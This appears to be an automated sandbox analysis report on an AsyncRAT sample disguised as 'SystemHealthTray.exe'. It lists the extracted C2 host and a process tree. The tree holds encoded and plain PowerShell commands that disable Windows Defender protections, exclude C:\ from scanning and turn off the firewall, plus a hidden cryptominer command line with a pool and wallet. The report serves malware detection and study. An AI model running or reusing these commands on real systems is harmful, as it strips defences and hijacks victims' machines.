Overview

overview

10

Static

static

3

SystemHealthTray.exe

windows10-2004-x64

10

SystemHealthTray.exe

windows11-ltsc_2024-x64

10

Analysis

  • max time kernel
    149s
  • max time network
    141s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260911-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    27/10/2026, 07:48

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    SystemHealthTray.exe
  • Size 7.2MB
  • Sample261027-jnellact5l
  • SHA256 2efaa98a4d928cc5ef26dbf8dc1506f763a7028ef0a7278588aa2dfea81e300a
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
defaultdefense_evasiondiscoveryexecutionasyncratpersistenceprivilege_escalationratvmprotect

Malware Config

Extracted

Family

  • asyncrat

Version

  • 1.0.7

Botnet

  • Default

C2

  • tochka90-36200.portmap.host:36200

Mutex

  • DcRatMutex_qwqdanchun

Attributes
  • delay

    1

  • install

    false

  • install_folder

    %AppData%

aes.plain

Signatures

  • Family: AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

    ratasyncrat
  • Async RAT payload 1 IoCs
    rat
  • Command and Scripting Interpreter: PowerShell 1 TTPs 15 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Modifies Windows Firewall 2 TTPs 1 IoCs
    defense_evasion
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 11 IoCs
  • Loads dropped DLL 17 IoCs
  • VMProtect packed file 9 IoCs

    Detects executables packed with VMProtect commercial packer.

    vmprotect
  • Contacts third-party web service commonly abused for C2 1 TTPs 4 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

    defense_evasion
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 TTPs 9 IoCs
    defense_evasion
  • Drops file in Windows directory 6 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

    persistenceprivilege_escalation
  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Reads the TCP/IP host and domain name from the registry 1 TTPs 20 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

    discovery
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 34 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs
    defense_evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\SystemHealthTray.exe
    "C:\Users\Admin\AppData\Local\Temp\SystemHealthTray.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4356
    • C:\Users\Admin\AppData\Local\Temp\SystemHealthTray.exe
      "C:\Users\Admin\AppData\Local\Temp\SystemHealthTray.exe"
      2⤵
      • Checks computer location settings
      • Loads dropped DLL
      • Drops file in Windows directory
      • Reads the TCP/IP host and domain name from the registry
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4848
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -encodedCommand cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIAAnACAALgBlAHgAZQAgACwAIAAuAGIAaQBuACwAIAAuAGQAbwBjAG0ALAAgAC4AZABsAGwAIAAsACAALgB0AHgAdAAsACAALgB6AGkAcAAgACwAIAAuAHIAYQByACAAJwAgAA==
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2100
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionExtension " .exe , .bin, .docm, .dll , .txt, .zip , .rar "
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3676
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -encodedCommand cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQBuAGEAYgBsAGUAQwBvAG4AdAByAG8AbABsAGUAZABGAG8AbABkAGUAcgBBAGMAYwBlAHMAcwAgAEQAaQBzAGEAYgBsAGUAZAA=
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2500
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -EnableControlledFolderAccess Disabled
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3492
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -encodedCommand cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AUABVAEEAUAByAG8AdABlAGMAdABpAG8AbgAgAGQAaQBzAGEAYgBsAGUA
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2260
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -PUAProtection disable
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:884
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -encodedCommand cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgADEA
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2740
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableRealtimeMonitoring 1
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3032
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -encodedCommand cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGwAbwBjAGsAQQB0AEYAaQByAHMAdABTAGUAZQBuACAAMQA=
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4296
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableBlockAtFirstSeen 1
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:540
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -encodedCommand cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBJAE8AQQBWAFAAcgBvAHQAZQBjAHQAaQBvAG4AIAAxAA==
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3256
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableIOAVProtection 1
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4484
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -encodedCommand cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBQAHIAaQB2AGEAYwB5AE0AbwBkAGUAIAAxAA==
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2152
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisablePrivacyMode 1
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4404
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -encodedCommand cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBJAG4AdAByAHUAcwBpAG8AbgBQAHIAZQB2AGUAbgB0AGkAbwBuAFMAeQBzAHQAZQBtACAAMQA=
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2304
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem 1
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2160
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -encodedCommand cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBTAGMAcgBpAHAAdABTAGMAYQBuAG4AaQBuAGcAIAAxAA==
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:220
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableScriptScanning 1
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4708
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -encodedCommand cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ATQBBAFAAUwBSAGUAcABvAHIAdABpAG4AZwAgADAA
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:916
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -MAPSReporting 0
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1712
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -encodedCommand cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AUwBlAHYAZQByAGUAVABoAHIAZQBhAHQARABlAGYAYQB1AGwAdABBAGMAdABpAG8AbgAgADYA
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2712
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SevereThreatDefaultAction 6
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3488
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -encodedCommand cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgADAA
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1212
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableRealtimeMonitoring 0
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4792
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -encodedCommand cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAAbgBlAHQAcwBoACAAYQBkAHYAZgBpAHIAZQB3AGEAbABsACAAcwBlAHQAIABhAGwAbABwAHIAbwBmAGkAbABlAHMAIABzAHQAYQB0AGUAIABvAGYAZgA=
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2264
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" netsh advfirewall set allprofiles state off
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:4948
          • C:\Windows\system32\netsh.exe
            "C:\Windows\system32\netsh.exe" advfirewall set allprofiles state off
            5⤵
            • Modifies Windows Firewall
            • Event Triggered Execution: Netsh Helper DLL
            PID:2176
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -encodedCommand cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgADEA
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3112
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableRealtimeMonitoring 1
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2348
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -encodedCommand cABvAHcAZQByAHMAaABlAGwAbAAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAnAEMAOgBcACcA
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3632
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath C:\
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1108
      • C:\Windows\spool64.exe
        "C:\Windows\spool64.exe"
        3⤵
        • Executes dropped EXE
        • Reads the TCP/IP host and domain name from the registry
        PID:3404
      • C:\Windows\SYSTEM32\attrib.exe
        attrib +H spool64.exe
        3⤵
        • Drops file in Windows directory
        • Views/modifies file attributes
        PID:2472
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -encodedcommand RwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFMAZQBsAGUAYwB0ACAATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUALABQAHIAbwBjAGUAcwBzAE4AYQBtAGUALABJAGQAIAB8ACAAdwBoAGUAcgBlAHsAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAGUAcQAgACIAIgB9ACAA
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3408
      • C:\Windows\SystemHealthTray.exe
        "C:\Windows\SystemHealthTray.exe"
        3⤵
        • Checks computer location settings
        • Executes dropped EXE
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1876
        • C:\Windows\system32\cmd.exe
          "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\B4A0.tmp\B4A1.tmp\B4A2.bat C:\Windows\SystemHealthTray.exe"
          4⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:4648
          • C:\windows\SysMonX86_64.exe
            SysMonX86_64.exe -i 96 -a kawpow -o stratum+tcp://rvn.2miners.com:6060 -u rL57cQgzjfC8FRYs4XT3cfKCUmztEXMLWs.xxx --fee 0
            5⤵
            • Executes dropped EXE
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • Suspicious use of SetWindowsHookEx
            • Suspicious use of WriteProcessMemory
            PID:2176
            • C:\windows\SysMonX86_64.exe
              SysMonX86_64.exe -i 96 -a kawpow -o stratum+tcp://rvn.2miners.com:6060 -u rL57cQgzjfC8FRYs4XT3cfKCUmztEXMLWs.xxx --fee 0 -RUN -reboot-times 0
              6⤵
              • Executes dropped EXE
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              • Reads the TCP/IP host and domain name from the registry
              • Suspicious use of SetWindowsHookEx
              PID:1456
            • C:\windows\SysMonX86_64.exe
              SysMonX86_64.exe -i 96 -a kawpow -o stratum+tcp://rvn.2miners.com:6060 -u rL57cQgzjfC8FRYs4XT3cfKCUmztEXMLWs.xxx --fee 0 -RUN -reboot-times 1
              6⤵
              • Executes dropped EXE
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              • Reads the TCP/IP host and domain name from the registry
              • Suspicious use of SetWindowsHookEx
              PID:2124
            • C:\windows\SysMonX86_64.exe
              SysMonX86_64.exe -i 96 -a kawpow -o stratum+tcp://rvn.2miners.com:6060 -u rL57cQgzjfC8FRYs4XT3cfKCUmztEXMLWs.xxx --fee 0 -RUN -reboot-times 2
              6⤵
              • Executes dropped EXE
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              • Reads the TCP/IP host and domain name from the registry
              • Suspicious use of SetWindowsHookEx
              PID:176
            • C:\windows\SysMonX86_64.exe
              SysMonX86_64.exe -i 96 -a kawpow -o stratum+tcp://rvn.2miners.com:6060 -u rL57cQgzjfC8FRYs4XT3cfKCUmztEXMLWs.xxx --fee 0 -RUN -reboot-times 3
              6⤵
              • Executes dropped EXE
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              • Reads the TCP/IP host and domain name from the registry
              • Suspicious use of SetWindowsHookEx
              PID:976
            • C:\windows\SysMonX86_64.exe
              SysMonX86_64.exe -i 96 -a kawpow -o stratum+tcp://rvn.2miners.com:6060 -u rL57cQgzjfC8FRYs4XT3cfKCUmztEXMLWs.xxx --fee 0 -RUN -reboot-times 4
              6⤵
              • Executes dropped EXE
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              • Reads the TCP/IP host and domain name from the registry
              • Suspicious use of SetWindowsHookEx
              PID:4880
            • C:\windows\SysMonX86_64.exe
              SysMonX86_64.exe -i 96 -a kawpow -o stratum+tcp://rvn.2miners.com:6060 -u rL57cQgzjfC8FRYs4XT3cfKCUmztEXMLWs.xxx --fee 0 -RUN -reboot-times 5
              6⤵
              • Executes dropped EXE
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              • Reads the TCP/IP host and domain name from the registry
              • Suspicious use of SetWindowsHookEx
              PID:256
            • C:\windows\SysMonX86_64.exe
              SysMonX86_64.exe -i 96 -a kawpow -o stratum+tcp://rvn.2miners.com:6060 -u rL57cQgzjfC8FRYs4XT3cfKCUmztEXMLWs.xxx --fee 0 -RUN -reboot-times 6
              6⤵
              • Executes dropped EXE
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              • Reads the TCP/IP host and domain name from the registry
              • Suspicious use of SetWindowsHookEx
              PID:2624
            • C:\windows\SysMonX86_64.exe
              SysMonX86_64.exe -i 96 -a kawpow -o stratum+tcp://rvn.2miners.com:6060 -u rL57cQgzjfC8FRYs4XT3cfKCUmztEXMLWs.xxx --fee 0 -RUN -reboot-times 7
              6⤵
              • Executes dropped EXE
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              • Reads the TCP/IP host and domain name from the registry
              • Suspicious use of SetWindowsHookEx
              PID:624
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -encodedcommand RwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFMAZQBsAGUAYwB0ACAATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUALABQAHIAbwBjAGUAcwBzAE4AYQBtAGUALABJAGQAIAB8ACAAdwBoAGUAcgBlAHsAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAGUAcQAgACIAIgB9ACAA
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:3028
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -encodedcommand RwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFMAZQBsAGUAYwB0ACAATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUALABQAHIAbwBjAGUAcwBzAE4AYQBtAGUALABJAGQAIAB8ACAAdwBoAGUAcgBlAHsAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAGUAcQAgACIAIgB9ACAA
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:1272
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -encodedcommand RwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFMAZQBsAGUAYwB0ACAATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUALABQAHIAbwBjAGUAcwBzAE4AYQBtAGUALABJAGQAIAB8ACAAdwBoAGUAcgBlAHsAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAGUAcQAgACIAIgB9ACAA
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:3640
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -encodedcommand RwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFMAZQBsAGUAYwB0ACAATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUALABQAHIAbwBjAGUAcwBzAE4AYQBtAGUALABJAGQAIAB8ACAAdwBoAGUAcgBlAHsAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAGUAcQAgACIAIgB9ACAA
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:100
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -encodedcommand RwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFMAZQBsAGUAYwB0ACAATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUALABQAHIAbwBjAGUAcwBzAE4AYQBtAGUALABJAGQAIAB8ACAAdwBoAGUAcgBlAHsAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAGUAcQAgACIAIgB9ACAA
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:3816
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -encodedcommand RwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFMAZQBsAGUAYwB0ACAATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUALABQAHIAbwBjAGUAcwBzAE4AYQBtAGUALABJAGQAIAB8ACAAdwBoAGUAcgBlAHsAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAGUAcQAgACIAIgB9ACAA
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:1192
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -encodedcommand RwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFMAZQBsAGUAYwB0ACAATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUALABQAHIAbwBjAGUAcwBzAE4AYQBtAGUALABJAGQAIAB8ACAAdwBoAGUAcgBlAHsAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAGUAcQAgACIAIgB9ACAA
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:2284
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -encodedcommand RwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFMAZQBsAGUAYwB0ACAATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUALABQAHIAbwBjAGUAcwBzAE4AYQBtAGUALABJAGQAIAB8ACAAdwBoAGUAcgBlAHsAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAGUAcQAgACIAIgB9ACAA
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:552
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -encodedcommand RwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFMAZQBsAGUAYwB0ACAATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUALABQAHIAbwBjAGUAcwBzAE4AYQBtAGUALABJAGQAIAB8ACAAdwBoAGUAcgBlAHsAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAGUAcQAgACIAIgB9ACAA
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:4228
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -encodedcommand RwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFMAZQBsAGUAYwB0ACAATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUALABQAHIAbwBjAGUAcwBzAE4AYQBtAGUALABJAGQAIAB8ACAAdwBoAGUAcgBlAHsAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAGUAcQAgACIAIgB9ACAA
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:3516
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -encodedcommand RwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFMAZQBsAGUAYwB0ACAATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUALABQAHIAbwBjAGUAcwBzAE4AYQBtAGUALABJAGQAIAB8ACAAdwBoAGUAcgBlAHsAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAGUAcQAgACIAIgB9ACAA
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:1456
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
